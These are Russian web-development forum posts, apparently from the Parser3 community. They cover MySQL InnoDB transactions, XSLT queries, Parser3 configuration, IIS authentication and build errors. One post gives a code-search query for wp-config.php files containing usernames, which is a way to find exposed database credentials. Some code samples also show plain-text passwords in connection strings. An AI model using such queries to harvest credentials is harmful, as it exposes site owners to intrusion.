У меня MySQL, InnoDB, следовательно по умолчанию уровень изоляции REPEATABLE READ...\
Но почему пропадают данные? Они же по-любому должны сохраняться?..."
"56083","Для начала правильно поставьте задачу. \
ПОтом начинайте ее решать. По ходу решения консультируйтесь тут. Вам помогут (если будете задавать вопросы правильно и понятно)"
"56087","Google запустил услугу поиска по исходным кодам программ, \
google.com/codesearch\
\
http://google.com/codesearch?q=fuck&btnG=Search+Code\
\
\
А теперь несмешное:\
http://google.com/codesearch?q=+file:wp-config.php+username\
http://shiflett.org/archive/269"
"56088","всего 99$ и вы будете редактировать все две инструкции файла robots.txt в визуальном редакторе! (ну ладно, он ещё что-то делать умеет, но это не так актуально для пятницы :))\
\
тут это добро:\
http://pagepromoter.com/robots-txt/index.htm\
\
%-)"
"56093","Но наверное все же соглашусь, лишние префиксы."
"56094","В таблице article для поля с id вы используете название article_id?\
\
И такие же названия с префиксами для каждого поля которое может использоватся как Foreign Key?"
"56095","вы используете префиксы или нет?"
"56097","company:\
=======\
company_id (PK)\
name\
...\
\
\
person:\
======\
person_id (PK)\
company_id (FK)\
name\
..."
"56099","Может ли метод-конструктор класса быть пустым?\
Обязательно ли его в таком случае объявлять в классе?\
Или обращение к несуществующему методу вызовет ошибку?"
"56100","...вы заранее пытаетесь решать ещё не возникшую мизерную проблему (дублирование полей при join) введением избыточной информации в название полей? э-э-э. по моему это не правильный подход, т.к. в данном случае вносимая избыточность просто не окупает себя.\
\
в случае join-ов ничего не помешает написать alias-ы (company.name AS company_name).\
\
у меня подобных join с неоднозначностями меньше, чем обычных ситуаций (когда или запрос из одной таблицы или конфликта полей нет).\
\
кроме того, в упомянутом случае (автор, фото, компания) при отображении списка авторов делать join таблицы с компаниями и получать таким образом ещё и название компании - по моему неправильно. авторов может быть 1000. компаний - всего 10. достать company_id, достать вторым мгновенным запросом список компаний в хеш и подставлять название компании парсером - плёвое дело. хотя не спорю, случаи когда подобные join нужны - бывают (но по моему это также и не photo + author, ибо для photo я например использую title, а не name. и я считаю что это название поля лучше подходит для данного случая).\
\
в случае префиксов и простых join-ов мы вынуждены писать кучу алиасов (company_name AS name) чтобы не иметь некрасивого кода вида $company.company_name уже упомянутого Wonder-ом.\
\
P.S. чувствую, за подобные префиксы ратуют личности, пишущие SELECT name.*, company.* ... ;)"
"56101","[code]\
$.to[Григорьев А.А <grigorievaa@mail.ru>]\
[/code]\
и будет порядок."
"56104","я не понял вашего описания первой проблемы, поэтому только подозрение: где-то возникает exception, его подавляют, но ^connect{   >>}<<   тут успевает сделать rollback."
"56108","а как переписать на parser следующий php:\
\
<?php include(\"http://external.link.ru/somefile.htm\");?>\
\
?"
"56110","и вам совсем этого не захочется."
"56111","Каждая строка таблицы загоняется в <td></td> простым перебором (^menu)\
Но в итоге все должно выглядеть както так: (т.е ввиде матрицы 3*n)\
<tr>\
<td>**********      <td>*********       <td>*********\
    **********          *********           ********* \
    **********          *********           *********  \
    **********</td>     *********</td>      *********</td>\
</tr>\
<tr>\
<td>**********      <td>*********       <td>*********\
    **********          *********           ********* \
    **********          *********           *********  \
    **********</td>     *********</td>      *********</td>\
</tr>\
ВОПРОС:Как сделать чтобы после отображения 3х столбцов начиналась следующая строка(<tr>)?\
\
p.s Пробовал делать через id строки в таблице но при етом не работает сортировка((\
\
Буду очень благодарен за любую помощь"
"56112","Что-то не понял я...\
я так понимаю, тебе данные нужно просто расположить в 3 столбика вместо одного. Я в таких случаях делаю так:\
<style ...>\
...\
.z{[b]float:left[/b]; width:33%;}/* 33% = 100%/кол-во столбцов   (% можно менять на px */\
...\
</style>\
\
<div class=\"z\">Твои данные</div>\
<div class=\"z\">Твои данные</div>\
<div class=\"z\">Твои данные</div>\
<div class=\"z\">Твои данные</div>\
....\
не забудь после этого сделать\
<div style=\"clear:left;\"></div>\
Иначе текст начнёт печататься справа от последнего блока, а то и выше...\
\
ps: смысл именно во float:left"
"56113","Нет. Вот допустим у меня в таблице 20 строк, мне надо вывести ее в виде матрицы 3*n,т.е чтобы после 3х столбцов переходила на новую строку.\
\
таблица:\
1...\
2...\
3...\
4...\
5...\
\
Нужно штобы получилось:\
\
1 2 3\
4 5 ..\
\
а если просто перебирать menu получается\
1 2 3 4 5 6 ..."
"56114","Можно ещё другай вариант, но более некрасивый... если будете пробовать на таблицах со стилями, увидите\
\
вот ещё вариант\
$s[3]     -Кол-во столбцов\
^z.menu{<td>$z.c<td>}{^if((^z.line[]%$s)==($s-1)){</tr><tr>}}\
\
если ни где не ошибся, то должно быть верно :)"
"56115","Огромное спасибо. Первый вариант супер. Сам бы врятли додумался."
"56116","[code]\
<zzz>\
	<a b=\"1\" c=\"2\">1</a>\
	<a b=\"2\" c=\"2\">2</a>\
	<a b=\"2\" c=\"DEF\">3</a>\
	<a b=\"3\" c=\"DEF\">4</a>\
	<a b=\"4\" c=\"2\">5</a>\
</zzz>[/code]\
Что хочу получить... выбрать все (a), где с=\"DEF\", но (если есть (а) с таким же (b), но с=\"2\") то выбрать с=\"2\" а не с=\"DEF\"\
\
т.е. у меня должно получиться:\
[code]	<a b=\"1\" c=\"2\">1</a>\
	<a b=\"2\" c=\"2\">2</a>\
	<a b=\"3\" c=\"DEF\">4</a>\
	<a b=\"4\" c=\"2\">5</a>[/code]\
\
Из этого хочу построить\
<xsl:for-each select=\"ЗАПРОС\">\
 z<xsl:value-of select=\"@b\"/>=<xsl:value-of select=\".\"/><br/>\
</xsl:for-each>"
"56118","понадобится... http://www.artlebedev.ru/tools/technogrette/html/fix_floats_in_ie/"
"56119","Регулярно в логе вижу подобную запись:\
[Sun Oct  8 12:41:35 2006] [error] [client xxx.xxx.xxx.xxx] (12)Cannot allocate memory: couldn't spawn child process: /home/xxxxxx.ru/data/cgi-bin/parser3.cgi\
При этом сейчас парсер не выполняет каких-то ресурсоёмких задач.\
Всё это дело работает на VPS'е с 32 Мб памяти - как вы думаете, причина в том, что памяти действительно мало?"
"56120","В коде:\
[code]^untaint[as-is]{\
      ^ann.menu{\
 ...\
 ...\
\
[b]<a href=\"...\" onclick=\"ShowItem(${ann.id}); return false;\">[/b]\
}\
}[/code]\
\
Ругается на onclick:                \
'menu' method of table (table) accepts maximum 2 parameter(s) [parser.runtime]\
Как подругому можно записать чтобы небыло ошибки?"
"56121","; заменить на ^;"
"56122","Я от VPS отказался, кроме парсера там ещё работает Apache, MySQL, почтовый сервер, inetd и ещё много чего, ваш парсер ещё на медленом канале повис и паралельно ещё пара поисковиков поинтересовлась вашим сайтом и усё. Правда у меня было 64Мб - так что у вас усё наступае намного раньше и как следствие чаще.\
\
Особенно у меня такое проискходило когда у меня антиспам работал SpamAssasin - сейчас меня эьо не беспокоет\
\
Попробуйте штук 10 - 15 страниц одновременно открыть, допустим во фреймах или в ручную почаще пообннвляйте"
"56123","Cпасибо"
"56125","Что можно сделать, какие могут быть в нем ошибки?\
####################################\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq73.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.SMTP[10.10.1.10]\
]\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://root:555@localhost/semey]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN={DB2}^;UID={Daniyar}^;PWD=123]\
###################################"
"56126","По условию:\
[code]\
1. if [b]с=\"DEF\"[/b] and (if b <> prev b and с<>\"2\") select [b]a[/b]\
2. else if b = prev b and с=\"2\" select [b]a[/b][/code]\
если более или менее формализовать задачу.\
\
Больше всего вызывает вопросов момент\
[quote]если есть (а) с таким же (b), но с=\"2\") то выбрать с=\"2\" а не с=\"DEF\"\
[/quote]\
вопрос: где есть (а)? и при каких условиях?\
Если мы выбираем узлы последовательно (как, оно по идее происходит при xsl-обработке), то получиться, что следуя этой логике вместо:\
[quote]<a b=\"1\" c=\"2\">1</a>\
<a b=\"2\" c=\"2\">2</a>\
<a b=\"3\" c=\"DEF\">4</a>\
<a b=\"4\" c=\"2\">5</a>[/quote]\
получиться: по шагам... пройдем все дерево:\
\
1. первый узел - не удовлетворяет первому условию (c<>\"DEF\") и второму (нет предыдущего b)\
2. второй узел - не удовлетворяет первому условию (c<>\"DEF\") и второму (есть предыдущий b но они не равны)\
3. третий узел - подходит (c=\"DEF\")\
4. четвертый узел - подходит (c=\"DEF\")\
5. пятый узел - не удовлетворяет первому условию (c<>\"DEF\") и второму (есть предыдущий b но они не равны)\
\
итого:\
[code]<a b=\"2\" c=\"DEF\">3</a>\
<a b=\"3\" c=\"DEF\">4</a>[/code]"
"56127","Грубо говоря, я хотел, чтоб выбирались значения по умолчанию (DEF), но если заданы другие, то тогда не DEF выбрать, а (с=\"2\"). При этом во всём дереве могут присутствовать одновременно эти 2-е строки (нода), как со значением с=\"2\", так и с=\"DEF\".\
А связкой между ними является (b)."
"56128","Естественно, $company.company_name звучит как-то странно. Я не претендовал на светоча знаний, справедливости и истины.\
Это всего лишь подход. Можно и Вас уличить в неоптимальности. [quote]достать вторым мгновенным запросом список компаний в хеш и подставлять название компании парсером - плёвое дело.[/quote]\
А если кроме Парсера в базу еще и PHP имеет доступ ? Лепить и в ПХП такой же костыль? И каждый раз в запросе писать алиасы ? Если в конкретном случае такой подход оправдан - только за. + Признаю, что в некоторых проектах и join-ов - то раз два и обчелся. Там об этом и думать не надо.\
Короче. Развел воду :).\
Суть: [b]искать оптимальный подход в КАЖДОМ случае и думать в рамках проекта, а не конкретного запроса.[/b]"
"56130","Это-то я понял, однако, не могу как по этой логике был сформирован:\
[code]	<a b=\"1\" c=\"2\">1</a>\
	<a b=\"2\" c=\"2\">2</a>\
	<a b=\"3\" c=\"DEF\">4</a>\
	<a b=\"4\" c=\"2\">5</a>[/code]\
Помоему, нужно сначала попробовать реализовать эту задачу на Parser или любом другом языке > проверить \"логичность\", а затем, по шагам перенести ее в xsl-шаблон."
"56132","в парсере можно сделать проще, выделить сначала все DEF, сформировать из полученного хэш, а потом так же получить с=\"2\" и тоже сформировать хэш. После - объеденить.\
\
на мой взгляд должно быть что-то типа того получиться в xsl:\
[code]\
<xsl:for-each select=\"/zzz/a[ (\
						(c='DEF')and\
						(../a[not(\
								(@b=@b)and\
								(c='2')\
								)]\
						)\
					) or\
					(c='2')\
				]\">\
z<xsl:value-of select=\"@b\"/>=<xsl:value-of select=\".\"/><br/>\
</xsl:for-each>\
[/code]\
\
Но я и сам вижу не верные моменты, но не знаю как их изменить...\
например @b=@b - это не правильно будет истолкованно запросом...\
\
в общем, первая часть запроса должна показать с=\"DEF\", если не существует такого же элеменнта (a) с таким же атрибутом (b) и с (с=\"2\")\
[code]\
(c='DEF')and\
(../a[not(\
		(@b=@b)and\
		(c='2')\
	)]\
)\
[/code]\
\
со второй частью проблем не должно быть..."
"56133","[url=\"http://www.zvon.org/xxl/XSLTutorial/Output_rus/15.htm#id6\"]http://www.zvon.org/xxl/XSLTutorial/Output_rus/15.htm#id6[/url]"
"56134","Результат _test.html\
###############\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
Не определена таблица с кодовыми таблицами ($CHARSETS). \
Возможно у вас не обрабатывается конфигурационный auto.p \
$SQL:\
Не определена таблица с драйверами ($SQL.drivers) \
Возможно у вас не обрабатывается конфигурационный auto.p \
\
DOCUMENT_ROOT: не определен"
"56135","Спасибо... осями не пользовался... вернее не заморачивался с ними. Тепрь понятно зачем они.\
Ещё вопрос, вот две оси, following-sibling и preceding-sibling\
Я не нашел оси, которая бы выбирала все элементы, кроме текущего, имеющие общего родителя.\
Такая есть?\
\
построил другой запрос:\
[code]\
/zzz/a[ (\
		(c='DEF')and\
		(not(following-sibling::a[(@b=@b)and(c='2')]))and\
		(not(preceding-sibling::a[(@b=@b)and(c='2')]))\
	) or\
	(c='2')\
	]\
[/code]\
но по прежнему выдаёт пустой результат...\
видимо ошибка в a[(@b=@b)and(c='2')], но как правильно её задать, ведь атрибуты @b и там и сям одинаковые?... :("
"56136","вместо @b=@b (что по сути бессмысленно) нужно:\
[code]\
@b = following-sibling::/@b\
[/code]\
т.к. [b]following-sibling[/b] работает с осями-соседями"
"56138","фан. Весело любителям SELECT name.*, company.* .\
Пример запроса\
[code]\
SELECT name.*, company.* where name.* = company.*\
[/code]"
"56139","Согласен... но конструкция following-sibling::/@b ошибочна. Я опробовал уже много вариатов, что-то не получается :(\
\
Перепиши пожалуйста блок\
(not(following-sibling::a[(@b = following-sibling::/@b)and(c='2')]))\
как нужно, а то что-то мне не понятно... ни чего не получается... :("
"56140","надо бы положить этот auto.p там же, где лежит parser3isapi.dll.\
А вообще:\
[url=\"http://swissknife.bougakov.com/misc/iis/\"]http://swissknife.bougakov.com/misc/iis/[/url]\
без auto.p будет сложно, т.к. в нем определяються основные настройки Parser"
"56142","[quote]но конструкция following-sibling::/@b ошибочна[/quote]\
лшибочка...:\
[code]following-sibling::*/@b[/code]\
\
итак:\
[b]xml_test1.xml:[/b]\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<zzz>\
	<a b=\"1\" c=\"2\">1</a>\
	<a b=\"2\" c=\"2\">2</a>\
	<a b=\"2\" c=\"DEF\">3</a>\
	<a b=\"3\" c=\"DEF\">4</a>\
	<a b=\"4\" c=\"2\">5</a>\
</zzz>\
[/code]\
\
[b]xml_test1.xsl:[/b]\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"zzz\">\
	<xsl:apply-templates select=\"a\"/>\
</xsl:template>\
\
<xsl:template match=\"a\">\
	<xsl:choose>\
	<xsl:when test=\"@b = following-sibling::*/@b and following-sibling::*/@c = 2\">\
		<xsl:call-template name=\"print\"/>\
		<xsl:text> (c = 2)</xsl:text> <br/>\
	</xsl:when>\
\
	<xsl:otherwise>\
		<xsl:if test=\"@c = 'DEF'\">\
			<xsl:call-template name=\"print\"/>\
			<xsl:text> (c = DEF)</xsl:text> <br/>\
		</xsl:if>\
	</xsl:otherwise>\
	</xsl:choose>\
</xsl:template>\
\
<xsl:template name=\"print\">\
	<xsl:text>&lt;a </xsl:text>\
	<xsl:text>b=\"</xsl:text><xsl:value-of select=\"@b\"/>\
	<xsl:text>\" c=\"</xsl:text><xsl:value-of select=\"@c\"/>\
	<xsl:text>\"/&gt;</xsl:text>\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
[b]xml_test1.html:[/b]\
[code]$sourceDoc[^xdoc::load[xml_test1.xml]]\
\
$transformedDoc[^sourceDoc.transform[xml_test1.xsl]]\
\
^transformedDoc.string[\
    $.method[html]\
]\
[/code]\
\
[b]Получаем:[/b]\
<a b=\"2\" c=\"2\"/> (c = 2)\
<a b=\"2\" c=\"DEF\"/> (c = DEF)\
<a b=\"3\" c=\"DEF\"/> (c = DEF)"
"56144","Сервер запросил неподдерживаемый метод аутентификации имени пользователя.\
\
http://localhost/"
"56146","и отключайте NTLM и прочую другую аутентификацию.\
\
IIS спрашивает у вашей Оперы \"юзер, ты кто такой, как тебя звать?\" по протоколу NTLM, а Опера его не понимает. Надо попросить IIS не умничать, не задавать вопросов и пускать всех подряд."
"56147","Сообщение в Опере говорит\
\
Сервер запросил неподдерживаемый метод аутентификации имени пользователя.\
http://localhost/\
\
Кердык. А МуСКуЛ был не причем - конф. файл не обрабатывался."
"56148","...только ауто.п не подрубается как и прежде. Что еще может быть?"
"56151","Добрый день! Собираю gdome под amd64-freebsd5.4 Патчил как в инструкции, на make install (make check)отвечает- \
Making check in libgdome\
Making check in gdomecore\
Making check in events\
Making check in xpath\
Making check in test\
Making check in apigen\
/bin/sh ../../libtool --mode=link gcc  -g -O2  -o apigen  util.o srcutil.o apigen.o ../../libgdome/libgdome.la -L/var/usr/home/10312/gnome/lib -lxml2 -lm -L/usr/local/lib -lglib-2.0 -liconv \
gcc -g -O2 -o .libs/apigen util.o srcutil.o apigen.o  ../../libgdome/.libs/libgdome.so -L/var/usr/home/10312/gnome/lib -L/usr/local/lib /var/usr/home/10312/gnome/lib/libxml2.a -lm -lglib-2.0 -liconv -Wl,--rpath -Wl,/usr/home/10312/gnome/lib\
../../libgdome/.libs/libgdome.so: undefined reference to 'xmlCreatePushParserCtxt'\
../../libgdome/.libs/libgdome.so: undefined reference to 'xmlParseChunk'\
*** Error code 1\
\
Stop in /var/usr/home/10312/src/gdome2-0.8.1/test/apigen.\
*** Error code 1\
\
Stop in /var/usr/home/10312/src/gdome2-0.8.1/test.\
*** Error code 1\
\
Stop in /var/usr/home/10312/src/gdome2-0.8.1.\
\
Хде грабли, господа? gcc-3.3.3"
"56152","###########################################################################\
по поводу класса JSHttpRequest из примеров\
имеет ли смысл заменить:\
[code]\
@decodeText[sText]\
$tField[^sText.match[(?:^^|&|\\?)([^^=]+)=([^^&]+)][gm]]\
^tField.menu{\
	^result.add[\
		$.[^self._decode[$tField.1]][^self._decode[$tField.2]]\
	]\
}\
#end @decodeText[]\
[/code]\
на\
[code]\
###########################################################################\
@decodeText[sText][tField]\
$result[^hash::create[]]\
^form:fields.foreach[field;value]{ \
	^result.add[\
		$.[^self._decode[$field]][^self._decode[$value]]\
	]\
}[]\
#end @decodeText[]\
[/code]\
\
? просто для одного проекта мне пришлось сделать такие изменения, вот и стало интересно можно ли изменить основной файл на parser.ru"
"56154","В\
О\
Т\
\
САЙТИК ПО НЕМУ\
\
http://www.donet.ru/~romeo/\
\
Тут можно всё"
"56156","в общем, как всегда коды %uХХХХ\
после отправки escape кода в JSHttpRequest.p\
получаю в парсере код %uХХХХ\
После этого я должен сделать replace таблицей @_getDecodeTable[]\
Но не реплэйсятся коды типа перевода строки, табуляции и т.д.\
дописал в @_getDecodeTable[]\
[code]%0D	^#0D\
%0A	^#0A\
%09	^#09\
[/code]\
И у меня получается такая фишка:\
если я фомируя ответ не делаю replace, то вроде  всё делается правильно. Как только делаю replace - сразу запрос останавливается. Нет ответа.\
вот код...\
[code]\
$z[^hRequest.z] $z[^z.replace[^JSHttpRequest:_getDecodeTable[]]]\
$hParserVariable[$.q[$z]]\
[/code]\
\
Не понимаю в чём ошибка...\
если даже я оставляю @_getDecodeTable[] так же как и было, не внося %0A и т.д., и делаю свою новую переменную ($k) вне класса с таблицей замен такую же как @_getDecodeTable[] + мои добавления. ТО после все этого я опять же получаю ту же картину! - Запрос отправился, но ответа нет. :(\
если удаляю из кода $z[^z.replace[$k]] то опять всё выдаётся как надо (т.е. в нормальном %uХХХХ виде)\
\
Смысл моих исправлений такой: Мне нужно передать значение из textarea - где есть переводы строки и табуляции, но в ответ я получаю вместо них %0A,%09,%0D :( А избавиться я от них не могу... так как могут %0A и т.д. так как они могут быть использованы в textarea\
\
Так что делать?"
"56157","как раз из-за них я и переделал данный код\
у меня работает уверенно, но там узкая задача"
"56158","http://www.parser.ru/forum/?id=54438, последний абзац...\
\
[code]\
%0D%0A	^#0A\
%0D	^#0A\
%0A	^#0A\
%09	^#09\
[/code]"
"56160","Unhandled Exception\
check auto.p execution\
\
\
c:/inetpub/semey/_test1.html(621)\
throw c:/inetpub/semey/_test1.html(621)"
"56161","вот с этими реплэйсами всё работает, спасибо громадное. Ясно, как только появляется ^#0D - так сразу проблемы :(\
\
Только один вопрос в этом во всём остаётся... переводов строк всё-равно нет :( А хотелось бы, чтоб они были...\
\
Просто я это вывожу в textarea, а там нет уже этих переводов строк.\
\
Т.е. мне надо, чтоб как ты ввёл текст, так его и получил..."
"56162","[code]\
@include[file][_fd]\
# Оператор @include[]. В случае отсутствия файла НЕ ВЫЗЫВАЕТ\
# фатальной ошибки, а только выводит предупреждение.\
^if(-f $file){\
        $_fd[^file::load[text;$file]]\
        $result[^process[$caller.self]{^taint[as-is][$_fd.text]}[$.file[$file]]]\
}{\
        $result[^process[$caller.self]{<br><font color=\"red\"><b>Warning! Оператор ^^#5einclude[$file] не нашел файл!</b></font><br>}]\
}\
#end @include[]\
[/code]"
"56163","Помог сильно! спасибо!\
Ты расписал... отчасти это тоже помогло!\
\
[code]\
<xsl:for-each select=\"/zzz/a[(@c = '2')or\
					(\
					(@c = 'DEF')and\
					(not(\
						(@b = following-sibling::*/@b and following-sibling::*/@c = '2')or\
						(@b = preceding-sibling::*/@b and preceding-sibling::*/@c = '2')\
					  ))\
					)\
				]\">\
	<xsl:text>&lt;a </xsl:text>\
              <xsl:text>b=\"</xsl:text><xsl:value-of select=\"@b\"/>\
              <xsl:text>\" c=\"</xsl:text><xsl:value-of select=\"@c\"/>\
              <xsl:text>\"/&gt;</xsl:text><br/>\
	</xsl:for-each>\
[/code]"
"56164","Собрал. Вопрос снят."
"56165","Начало темы тут http://www.parser.ru/forum/?id=56043\
\
Излагаю проблему более подробно с примером.\
\
Есть два пользователя которые одновременно вызывают 2 метода, которые работают с InnoDB таблицами tab1 и tab2.\
Первый пользователь пытается зарезервировать за собой запись в таблице tab1 методом ^work_user1[1], а второй в это же время методом ^work_user2[2] пытается считать запись из таблицы занятую им.\
\
При записи в лог иногда пишется:\
test1 GOOD\
test2 BAD!!!\
В итоге 1-й пользователь не может застолбить за собой запись в таблице, т.е. получает скорее всего некий откат, после того как идет INSERT в другую таблицу tab2.\
При обращении к другой таблице завершается первая транзакция? - и в этот момент случается откат?\
Вопрос: почему это может происходить???\
\
[code]\
@work_user1[id_owner]\
\
$T1[^table::sql{SELECT id, id_owner\
	FROM tab1\
	WHERE id_owner='0'\
	LIMIT 0,1}]\
\
^if(def $T1 && $T1.id_owner == 0){\
# Пока эта строчка не используется, но это скорее всего ситуацию не изменит\
#^void:sql{UPDATE `tab1` SET id_owner='0' where `id_owner`='$id_owner'}\
		\
^void:sql{UPDATE `tab1` SET `id_owner`='$id_owner' where id='$T1.id' and id_owner='0'}\
		\
$test[^table::sql{SELECT id FROM tab1 WHERE id_owner='$id_owner'}]\
^if(def $test){^writeLog[test1 GOOD]}{^writeLog[test1 BAD!!!]}\
		\
^void:sql{INSERT INTO `tab2` SET `dt_autosave`=now()}\
		\
$test[^table::sql{SELECT id FROM tab1 WHERE id_owner='$id_owner'}]\
^if(def $test){^writeLog[test2 GOOD]}{^writeLog[test2 BAD!!!]}\
\
}\
\
\
###############################################\
@work_user2[id_owner]\
\
$result[^table::sql{SELECT id, id_owner\
	FROM tab1\
	WHERE id_owner='$id_owner'\
	LIMIT 0,1}]\
[/code]"
"56166","$tab[^table::sql{select max(id) as mx from tab1 where id='-10'}]\
^if(def $tab){111}{222} - выдает 111.\
^if(def $tab.id){111}{222} - выдает 222.\
\
Таблица не определена, но в первом условии def не срабатывает.\
\
Почему?"
"56167","К сожалению версия 3.1.2 не подходит. При ее установке по всему сайту стали ошибки вылезать."
"56171","вы читали мое сообщение?"
"56174","[quote]К сожалению версия 3.1.2 не подходит. [/quote]\
Это ОЧЕНЬ старая версия.\
Качайте 3.2.1 именно 2.1. Там все путем. Если вылазят ошибки - попробуйте их исправить. \
Скорее всего там ничего страшного нет, а все из-за открытия хэшфайла два раза одним скриптом."
"56175","собираю xml по кусочкам, потом преобразую в xdoc\
в определенных фрагментах xml (назовем их блоками) нужно сделать преобразования спецконструкций типа:\
[b]<parser name=\"form\">now</parser> -> $form:now[/b]\
есть конструкции и посложнее например вывод карты сайта\
[b]<map thread=\"0\">параметры</map>  -> xml код карты сайта с параметрами[/b]\
как лучше сделать эти преобразования:\
а) взять этот кусочек и по очереди бегать по нему:\
[code]\
$Data[^Data.match[<map thread=\"(\\d+)\">([^^<]*)</map>][gi]{^Map[$match.1;$match.2]}]]\
[/code]\
кучей вот таких вот \"матчей\"\
б) преобразовать этот кусочек в xdoc и делать так:\
[code]\
$_hParams[^_hParams.select[/parser]]\
^for[i](0;$_hParams-1){чета там делаем с значением текущей ноды}\
...\
[/code]\
потом преобразовать в текст и добавить в окончательную сборку главного xdoc\
в) сделать так же как б) но не преобразовывать в текст а добавлять фрагменты xdoc в сам главный xdoc\
\
что лучше в плане быстродействия и правильней?\
\
надеюсь понятно написал я в xml,dom - полный профан"
"56176","[b]Issue:[/b]\
^sql.count[] == 1\
\
[b]Initial setup:[/b]\
В таблице отсуствуют записи, соответствующие условию WHERE.\
\
[b]Unit test:[/b]\
[code]$sql[^table::sql{SELECT MAX(id) FROM dbtable WHERE parent_id = -10}]\
^sql.save[/table.cfg]\
$load[^table::load[/table.cfg]]\
\
^if($sql != $load){FAILED}{PASSED}[/code]\
\
[b]Software:[/b]\
Parser/3.2.1sp2 (compiled on i386-pc-win32)\
\
[b]Additional info:[/b]\
на FreeBSD проверил только 3.1.4 — воспроизводится"
"56177","Таблица определена, но она пуста.\
Значения колонки mx нет - оно не определено."
"56178","Почему таблица определена, если полей нет?\
В MySQL результат = NULL."
"56180","когда нажать Ctrl+N - открыть скрипт в новых окнах раз 5, то MySQL не успевает отрабатывать и происходит запись в лог, т.е. UPDATE начинает работать неправильно :(\
Искуственно вызванная нагрузка на сервер заставляет работать скрипты на нем неправильно.\
Как побороть эту проблему???\
\
[code]\
@main[]\
\
^connect[mysql://root:qwerty@localhost:3306/test?charset=cp1251]{\
\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"refresh\" content=\"1\">\
</head>\
\
<body>\
	^work_user1[1]\
</body>\
</html>\
\
}\
\
#############################################\
@work_user1[id_owner]\
$T1[^table::sql{SELECT id, id_owner\
	FROM tab1\
	WHERE id_owner='0'\
	LIMIT 0,1}]\
\
\
^void:sql{UPDATE `tab1` SET id_owner='0' where `id_owner`='$id_owner'}\
\
^if(def $T1 && $T1.id_owner == 0){\
	^void:sql{UPDATE `tab1` SET `id_owner`='$id_owner' where id='$T1.id' and id_owner='0'}\
	\
	$test[^table::sql{SELECT id FROM tab1 WHERE id_owner='$id_owner'}]\
	$date_now[^date::now[]] \
	^if(!def $test.id){^writeLog[^date_now.sql-string[] test1 BAD!!!]}	\
\
	$T1.id\
}\
\
\
\
[/code]"
"56181","но может кто-то подскажет как это правильно реализовать в таблицах InnoDB ?"
"56182","Извините, я опечатался, имелась в виду как раз 3.2.1\
А можно поподробнее про проблему с хешами?"
"56183","к сожалению метод transform класса xdoc не позволяет обращатся к объектам парсера или допустим делать запросы к БД, разве что можно в кач-ве параметров впихать в него 1 единственный хэш строк.\
\
к примеру есть xml:\
[code]\
...\
<field name=\"bla-bla\" value=\"bla-bla\"/>\
<system:list name=\"некая_таблица\">поле</system:list>\
...\
[/code]\
\
я получаю из него результат работы этого кода\
\"некая_таблица\" неважно каким образом в коде появляется\
[code]\
<input name=\"bla-bla\" value=\"bla-bla\"/>\
